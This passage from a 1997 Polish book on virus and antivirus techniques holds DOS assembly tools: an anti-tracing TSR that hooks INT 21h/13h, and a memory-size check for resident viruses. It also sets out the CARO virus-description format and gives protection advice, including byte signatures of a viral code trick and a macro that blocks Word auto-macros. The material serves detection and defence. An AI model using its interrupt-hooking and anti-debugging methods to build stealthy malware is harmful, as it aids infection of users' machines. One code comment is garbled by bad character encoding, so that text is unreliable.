lds bx,ds:[01h*4] ; DS:BX wskazuje na adres obslugi
; przerwania krokowego INT 1
mov al,0CFh ; kod 0CFh oznacza IRET
xchg al,ds:[bx] ; wymien pierwszy bajt w procedurze
; obslugi INT 1 - teraz jest tylko
; IRET
push ax ; zachowaj pierwszy bajt procedury
pushf ; \
pop ax ; \ zeruj TF
and ah,0FEh ; -
push ax ; /
popf ; /
pop ax ; przywroc pierwszy bajt
mov ds:[bx],al ; i zapisz go z powrotem
TF_NieUstawiony:
pop ds bx ax ; przywroc zmieniane rejestry
ret ; powrot z procedury
KoniecKoduTSR:
Poczatek:
mov es,ds:[2Ch] ; ES=blok otoczenia programu
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje
lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /
mov bp,0BACAh ; \ wez stare INT 21h i jednoczesnie
mov ax,3521h ; - odinstaluj program, jezeli juz
int 21h ; / byl wczesniej zainstalowany
cmp ax,0BACAh ; czy zostal odinstalowany ?
je Deinstal ; TAK - wyswietl komunikat i koncz
mov word ptr [StareInt21],bx ; \ zachowaj stare INT 21
mov word ptr [StareInt21+2],es ; /
mov ax,3513h ; funkcja DOS - wez stare INT 13h
int 21h ; wywolaj funkcje
mov word ptr [StareInt13],bx ; \ zachowaj stare INT 13
mov word ptr [StareInt13+2],es ; /
lea si,TeZainstalowany ; \ pokaz info o programie
Call Print ; /
lea dx,NoweInt21h ; DS:DX wskazuje na nowa procedure
mov ax,2521h ; funkcja DOS - ustaw nowa INT 21
int 21h ; wywolaj funkcje
lea dx,NoweInt13h ; DS:DX wskazuje na nowa procedure
mov ax,2513h ; funkcja DOS - ustaw nowa INT 13
int 21h ; wywolaj funkcje
mov dx,DlugoscKoduTSR ; ile kodu zostanie jako TSR
mov ah,31h ; funkcja DOS - koncz i zostaw TSR
int 21h ; wywolaj funkcje
Deinstal:
lea si,TeOdinstalowany ; \ pokaz info o deinstalacji
Call Print ; /
mov ax, 4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Print endp
PrintChar proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997'
TeCRLF db CR,LF,NUL
TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL
TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL
ANTYTRAC ENDS ; koniec segmentu kodu i danych
END Start ; koniec programu, pierwsza instrukcja
; pod etykieta Start
12.8. Pobieranie wielkości pamięci operacyjnej
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten wyświetla na ekranie.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; MEM640 v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb ;
; Wielkosc pamieci jest pobierana kilkoma metodami ;
; Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa ;
; rezydetnego (gdy odczytane dlugosci pamieci beda rozne) ;
; ;
;----------------------------------------------------------------------------;
PROG SEGMENT
ORG 100h
ASSUME CS:PROG, DS:PROG
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do info o programie
Call DrukLn ; wyswietl info o programie
Call Pokaz_CMOS ; ile zapisane w CMOS
call Pokaz_ZmiennaBIOS ; ile w komorce 0000:0413
call Pokaz_Int12 ; ile zwraca INT 12
Call Pokaz_MCB ; ile z sumy MCB
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
Pokaz_CMOS:
push ax dx si ; zachowaj zmieniane rejestry
lea si,TeCMOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
mov al,16h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci
mov ah,al ; i przepisz do AH
mov al,15h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci
; AX= rozmiar w CMOS w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
WezCMOS:
out 70h,al ; zapisz do portu CMOS,
; ktora komorke czytac
jmp $+2 ; czekaj
in al,71h ; czytaj z CMOS
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_Int12:
push ax dx si ; zachowaj zmieniane rejestry
lea si,TeInt12 ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
int 12h ; przerwanie BIOS - dostepna pamiec
; AX=rozmiar pamieci w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
call DrukDec32 ; wyswietl ile bajtow
pop dx ax si ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_ZmiennaBIOS:
push es ax dx si ; zachowaj zmieniane rejestry
lea si,TeZmiennaBIOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
xor ax,ax ; czytaj zmienna BIOS 0000:0413
mov es,ax ; ES=0000
mov ax,es:[413h] ; AX=0000:0413= rozmiar pamieci
; w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax es ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_MCB:
push es ax bx cx dx ; zachowaj zmieniane rejestry
lea si,TeMCB ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na pozniej
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
xor cx,cx ; CX=0 - UMB nieobecne w systemie
or al,al ; 01=jezeli UMB sa dolaczone
jz UMB_NieDolaczone ; 00=jezeli UMB nie sa dolaczone
inc cx ; CX=1 - UMB obecne w systemie
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
xor bx,bx ; odlacz bloki UMB
int 21h ; wywolaj funkcje
UMB_NieDolaczone:
mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB
NastepnyMCB: ; kolejne bloki MCB
cmp ax,0A000h ; czy >640kB ?
jae Tylko640 ; TAK - pomin
mov es,ax ; ES=MCB
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[3] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB
cmp byte ptr es:[0],'Z' ; czy to ostatni blok MCB ?
jne NastepnyMCB ; NIE - dodaj koleny blok
; TAK - wyswietl sume
Tylko640:
add ax,cx ; dodaj ewentualny blok MCB
; opisujacy bloki MCB w pamieci UMB
; AX=pamiec w paragrafach
mov bx,16 ; \
mul bx ; / oblicz ile bajtow
call DrukDec32 ; wyswietl ile bajtow
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukDec32: ; wyswietl liczbe w DX:AX
push ax bx dx si ; zachowaj zmieniane rejestry
mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca
mov byte ptr [si],0 ; utworz ASCIIZ dodaj zero na koncu
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w BX reszta z dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz index w tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz rowna 0
; NIE - dziel dalej
call DrukLn ; TAK - wyswietl bufor
pop si dx bx ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Dziel32: ; dziel (DX:AX)/BX
push bp ; zachowaj BP
push ax ; zachowac mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj DX, DX:AX = > 0:DX
div bx ; podziel (0:DX)/BX
mov bp,ax ; calosc z dzielenia to wieksza czesc wyniku
pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku
div bx ; DX jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w BX reszta z dzielenia
mov dx,bp ; DX:AX=liczba podzielona przez BX,
; a w BX reszta z dzielenia
pop bp ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot
TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Wielkosc pamieci w bajtach :',NUL
TeCMOS db ' _ CMOS : ',NUL
TeInt12 db ' _ INT 12 : ',NUL
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL
TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL
TeCRLF db CR,LF,NUL
Hex2DecBufor db 11 dup(?) ; bufor na liczbe dzisietna
PROG ENDS
END Start
ROZDZIAŁ 13
CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, zwanej CaroBase.
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i etykiety:
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania itd.
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest to angielski (English).
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).
CAROBASE_END: kończy ostatni rekord opisu.
Możliwe rekordy zawierające opis to:
NAME: nazwa w standardzie CARO.
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję nazwy.
NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli istniały).
LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.
EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).
.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR - zaraża pliki nakładkowe.
NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - zaraża przy użyciu JAP.
MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.
COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie plików wykorzystywanych przez wirusa, np. EXE/COM).
OTHER - wirus infekuje inny obiekt, nie opisany powyżej.
RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;
możliwe wartości to:
NONE - to nie jest wirus rezydentny.
PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.
IVT - wirus rezyduje w tablicy przerwań.
FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a.
BUFFER - wirus rezyduje w obszarze buforów DOS.
LOW - wirus rezyduje jak zwykły TSR.
TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.
TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu (tzn. MCB ma znacznik Z).
NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku nowy MCB z przepisaniem znacznika z aktualnego bloku.
NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.
UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).
HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).
TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci widzianej przez BIOS (zmienna 0040:0013).
UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden sposób nie chroni.
VIDEO - wirus rezyduje w pamięci ekranu.
EXT - wirus rezyduje w pamięci XMS.
EXP - wirus rezyduje w pamięci EMS.
AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.
Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem MCB.
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).
STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K), jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić w długości wirusa.
WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).
Dla plików są możliwe:
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.
PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu (przesuwa oryginalny kod do przodu).
MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.
APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.
EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na podstawie nagłówka).
EOFILE - wirus dopisuje się na końcu pliku.
HEADER - wirus instaluje się w nagłówku pliku EXE.
SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.
DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).
RANDOM - plik doczepia się w przypadkowym miejscu pliku.
SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. COMPANION - wirus jest typu towarzyszącego.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
Dla sektorów możliwe są:
AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss.
AT_LSN nn - w logicznym sektorze nn.
AT_CN nn - w JAP numer nn.
TRACK nn - na dodatkowej ścieżce nn.
BAD - w jednostce JAP oznaczonej jako zła.
STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;
możliwe są dwa kluczowe słowa:
NONE - wirus nie używa techniki stealth.
DRIVER - wirus instaluje się jako sterownik.
POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa kluczowe, możliwe są:
NONE - wirus nie używa procedur szyfrujących.
CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.
VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.
WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.
POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza najbardziej zaawansowany polimorfizm.
ENTRY - wirus ukrywa miejsce wejścia do kodu.
SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.
OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.
ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:
NONE - wirus nie stosuje żadnych metod.
CODE - wirus stosuje sztuczki antydeasemblerowe.
CRYPT - wirus stosuje kilkustopniowe szyfrowanie.
TRACE - wirus wyłącza przerwania INT l i INT 3.
KBD - wirus wyłącza klawiaturę podczas uruchamiania.
SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.
INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.
PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
TUNNELLING: określa, czy wirus używa tunelingu.
NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany program TSR.
HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 21h.
DRIVER - wirus używa procedur obsługi sterowników.
SECTOR - wirus używa INT 13h przy dostępie do dysku.
HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania INT 13h.
BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.
HARDWARE - wirus używa dostępu do dysku poprzez porty.
OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.
W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:
TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do przerwania.
2F - wirus używa funkcji (13/2F).
TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do przerwania.
SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla danego przerwania.
OTHER - inna metoda.
INFECTIVITY:
O - to nie jest wirus.
1 - wirus, który dość wolno się rozpowszechnia.
2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.
3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden plik po uruchomieniu.
4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko przy uruchomieniu ofiary.
5 - szybki infektor.
6 - odpowada szybkości romnażania się wirusów zarażających MBR.
7 - bardzo szybki infektor.
OBVIOUSNESS:
określa, jak łatwo wirus jest zauważalny przez użytkownika.
EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.
QUITE - wirus zawiera ładunek dość łatwy do zauważenia.
SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.
NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu (najczęściej antywirusowego).
COMMONNESS:
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).
0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.
1 - bardzo słabo znany.
2 - słabo znany (kilka zgłoszeń).
3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).
4 - znany na całym świecie.
5 - bardzo znany.
6 - bardzo znany w przeszłości.
COMMONNESS_DATE:
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-mm-dd.
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.
T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary > 100 bajtów).
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych przez wirusa; liczby podane jako HEX.
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już zainstalowany w pamięci.
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest zainfekowany.
LIMITATIONS: określa ograniczenia wirusa (hardware, software).
COMMENTS: komentarz na temat wirusa.
ANALYSIS_BY: określa, kto analizował wirusa.
DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma format: rrrr-mm-dd.
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio modyfikowana; data ma format: rrrr-mm-dd.
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.
END: oznacza koniec opisu wirusa.
ROZDZIAŁ 14
Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych plików (programów, dokumentów) możliwie najnowszym programem antywirusowym (jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla wybranych obiektów, metod.
14.1. Ochrona przed wirusami plików uruchamialnych
Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo pobieżnie zanalizować przy użyciu debuggera.
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa. Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).
; Sekwencja znajduj╣ca siÛ na pocz╣tku wiÛkszo£ci wirus¾w plikowych
CALL TRIK ; wywo│anie procedury TRIK umie£ci na stosie offset do
; nastÛpuj╣cej po niej instrukcji (POP REJ16)
TRIK:
POP REJ16 ; zdejmuje ze stosu offset, pod kt¾rym jest umieszczony
; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym,
; najczÛ£ciej w kt¾rym£ z : SI, DI, BP, BX
SUB REJ16,???? ; ???? najczÛ£ciej =3, po tej operacji warto£µ REJ16
; bÛdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa,
; warto£µ 3 wynika z d│ugo£ci rozkazu CALL TRIK, czyli
; (OE8h 00h 00h)
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.
Sekwencje dla różnych kombinacji rejestru REJ16
|
Rejestr 16-bitowy |
Sekwencja bajtów |
Kod po deasemblacji |
|
AX |
E8 00 00 58 2D 03 00 |
CALL TRIK TRIK: POP AX SUB AX,3 |
|
CX |
E8 00 00 59 83 E9 03 |
CALL TRIK TRIK: POP CX SUB CX,3 |
|
BX |
E8 00 00 5B 83 EB 03 |
CALL TRIK TRIK: POP BX SUB BX,3 |
|
DX |
E8 00 00 5A 83 EA 03 |
CALL TRIK TRIK: POP DX SUB DX,3 |
|
BP |
E8 00 00 5D 83 ED 03 |
CALL TRIK TRIK: POP BP SUB BP,3 |
|
SI |
E8 00 00 5E 83 EE 03 |
CALL TRIK TRIK: POP SI SUB SI,3 |
|
DI |
E8 00 00 5F 83 EF 03 |
CALL TRIK TRIK: POP DI SUB DI,3 |
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed większością koni trojańskich i bomb, może być zainstalowanie monitora antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i kontrolowane przez monitor.
14.3. Ochrona przed makrowirusami
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę zainfekowania systemu:
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane podczas uruchamiania Worda):
SUB MAIN
DisableAutoMacros 1
END SUB
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację z parametrem /m (WINWORD.EXE /M);
> podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje zablokowanie automatycznego makra AutoOpen;
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika chcącego użyć tych funkcji);
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne. Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.
ROZDZIAŁ 15
1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym MS-DOS Wydawnictwo PLJ, Warszawa 1993.
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, Warszawa 1990.
